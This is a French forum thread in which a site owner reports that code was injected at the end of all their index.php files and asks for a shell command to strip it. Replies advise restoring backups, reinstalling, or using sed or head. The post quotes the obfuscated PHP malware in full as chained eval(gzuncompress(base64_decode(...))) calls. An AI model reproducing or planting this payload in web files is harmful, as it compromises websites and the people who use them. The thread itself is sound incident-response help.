Bonjour,
j'ai subit une attaque sur mon hébergement .
Sur tous les fichiers index.php, j'ai un code qui a été ajouté à la fin du fichier ...
<?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM='))); eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ=='))); eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I='))); ?>
Y a t'il une commande que je peux exécuter sur ssh pour virer cette portion de code de tous mes fichiers index.php (il y en un bon paquet)
Merci d'avance pour votre aide.
# sauvegardes
Posté par B16F4RV4RD1N . Évalué à 7.
en cas de compromission d'un serveur, le mieux est de tout réinstaller.
Si tes fichiers d'index sont corrumpus, il serait plus judicieux de réutiliser tes sauvegardes (j'espère que tu en as faites).
Only wimps use tape backup: real men just upload their important stuff on megaupload, and let the rest of the world ~~mirror~~ link to it
# sed
Posté par YannPeniguel . Évalué à 3.
http://www.grymoire.com/Unix/Sed.html
Cette commande est magique. Mais +1 a mon voisin qui dit que tu ferais mieux de restaurer un backup.
Pour chaque personne qui me plussoie, je frappe un fan de Justin Bieber.
# une piste, ma vie, tout ca
Posté par NeoX . Évalué à 3.
si c'est toujours à la fin du fichier
si c'est toujours le meme "code"
alors un simple head doit te permettre de prendre l'ancien fichier et de le couper pour en faire le nouveau.
quand ca m'arrive je fais un
ensuite je trie cette liste et je fais en sorte de ne garder que le nom des fichiers
je renomme les fichiers en xxxx.old
puis j'applique le filtre calculé plus haut (nombre de ligne à supprimer etant X)
evidement on doit pouvoir simplifier tout ca en faisant des pipes entre chacune de mes lignes
[^] # Re: une piste, ma vie, tout ça
Posté par Frédéric Heulin . Évalué à 1.
motif et X étant exprimé comme dans le commentaire ci-avant.
$i{,.old} étant un bashisme pour $i $i.old
# C'est quoi ce ver ?
Posté par Sai . Évalué à 2.
Sauf erreur de ma part, ce bout de script fait quelque chose comme ça :
Aucune idée de l'intérêt, par contre :/. Récolter quelques infos sur les machines infectées, j'imagine, mais j'ai vu plus dangereux.
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.